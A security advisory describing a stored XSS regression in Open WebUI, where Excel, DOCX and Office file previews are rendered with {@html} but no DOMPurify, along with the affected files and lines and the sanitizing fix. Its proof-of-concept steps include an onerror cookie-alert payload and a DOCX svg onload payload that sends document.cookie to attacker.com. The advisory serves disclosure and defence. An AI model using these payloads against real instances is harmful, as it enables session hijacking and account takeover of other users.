Open WebUI has stored XSS via unsanitized Office/Excel/DOCX file preview rendering ({@html} without DOMPurify)

Overview

Related advisory

This advisory tracks a regression of the original Excel-preview XSS that was publicly disclosed and patched under GHSA-jwf8-pv5p-vhmc (patched in v0.8.0). The same root cause — XLSX.utils.sheet_to_html() output rendered via {@html excelHtml} without DOMPurify — was reintroduced sometime after v0.8.0 and is exploitable again as of v0.8.12 and through the version range listed above. This advisory additionally covers the related fileOfficeHtml sink in src/lib/components/chat/FileNav.svelte (lines 458 and 1285) which was not part of the jwf8 advisory's scope.

Summary

Open WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte's {@html} directive without DOMPurify sanitization. While the codebase has DOMPurify available and uses it in 9 out of 23 {@html} locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document.

This is a classic defense propagation failure: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces.

Root Cause

The defense primitive exists: DOMPurify.sanitize() is imported and used in components like General.svelte, MarkdownInlineTokens.svelte, Banner.svelte, and SVGPanZoom.svelte.

But 3 file-preview paths skip it:

Occurrence 1: FilePreview.svelte — Office HTML

File: src/lib/components/chat/FileNav/FilePreview.svelte line 324

{:else if fileOfficeHtml !== null}
    <div class="office-preview overflow-auto flex-1 min-h-0">
        {@html fileOfficeHtml}   <!-- NO DOMPurify! -->
    </div>

fileOfficeHtml is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization.

Occurrence 2: FileItemModal.svelte — Excel HTML

File: src/lib/components/common/FileItemModal.svelte line 560

{@html excelHtml}   <!-- NO DOMPurify! -->

excelHtml is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied.

Occurrence 3: FileItemModal.svelte — DOCX HTML

File: src/lib/components/common/FileItemModal.svelte line 590

{@html docxHtml}   <!-- NO DOMPurify! -->

docxHtml is generated from user-uploaded DOCX files converted to HTML. No sanitization applied.

Contrast with Sanitized Paths

For comparison, the same codebase correctly sanitizes in other locations:

<!-- MarkdownInlineTokens.svelte:130 — SAFE -->
{@html DOMPurify.sanitize(token.text, { ADD_ATTR: ['target'] })}

<!-- General.svelte:276 — SAFE -->
{@html DOMPurify.sanitize($config?.license_metadata?.html)}

<!-- Banner.svelte:103 — SAFE -->
{@html DOMPurify.sanitize(marked.parse(...))}

Defense Propagation Gap

The remaining 11 unsanitized {@html} usages include syntax highlighting (hljs), KaTeX math rendering, and marked.parse() with sanitizeResponseContent() pre-processing — these have varying levels of inherent safety but still represent inconsistent defense application.

Tested Version

• Open WebUI v0.8.12 (commit 9bd8425, tag v0.8.12)

Steps to Reproduce

PoC 1: Malicious Excel File

1. Create a .xlsx file with a cell containing:

   <img src=x onerror="alert(document.cookie)">
   

   (Using a library like openpyxl to inject raw HTML into cell values)

2. Upload the file to Open WebUI via the chat file upload

3. When any user previews the file → excelHtml renders the injected HTML → XSS fires

PoC 2: Malicious DOCX File

1. Create a .docx file with embedded HTML:

   <w:r><w:t><![CDATA[<svg onload="fetch('https://attacker.com/steal?c='+document.cookie)">]]></w:t></w:r>
   

2. Upload to Open WebUI

3. File preview renders docxHtml → XSS fires

PoC 3: Verify Rendering Path

// In browser devtools on Open WebUI, after uploading a file:
// The file preview component renders:
//   FileItemModal → {@html excelHtml}  // no DOMPurify
//   FileItemModal → {@html docxHtml}   // no DOMPurify
//   FilePreview   → {@html fileOfficeHtml}  // no DOMPurify

// Compare with safe path:
//   NotebookView → {@html DOMPurify.sanitize(toStr(output.data['text/html']))}  // sanitized!

Impact

• Stored XSS — malicious file is stored server-side, XSS fires for every user who previews it
• Session hijacking via document.cookie theft
• Account takeover — attacker can perform actions as the victim user
• Data exfiltration — read chat history, API keys, uploaded documents
• Multi-user environments — shared Open WebUI instances are especially vulnerable (one malicious upload affects all viewers)
• Defense propagation failure — DOMPurify is available and used elsewhere, but not applied to file preview paths

Suggested Remediation

Apply DOMPurify to all three file preview paths:

<!-- FilePreview.svelte:324 — FIX -->
{@html DOMPurify.sanitize(fileOfficeHtml)}

<!-- FileItemModal.svelte:560 — FIX -->
{@html DOMPurify.sanitize(excelHtml)}

<!-- FileItemModal.svelte:590 — FIX -->
{@html DOMPurify.sanitize(docxHtml)}

Alternatively, adopt a defense-by-default pattern: create a wrapper component that always applies DOMPurify, making unsanitized {@html} usage a code review flag.

References

• CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)
• OWASP XSS Prevention Cheat Sheet
• GHSA-x75g-rp99-qqpx: Previous Open WebUI report (DNS rebinding TOCTOU, different vulnerability class)

Affected packages

• open-webui < 0.9.3

Remediation

Upgrade to a patched release:

• open-webui 0.9.3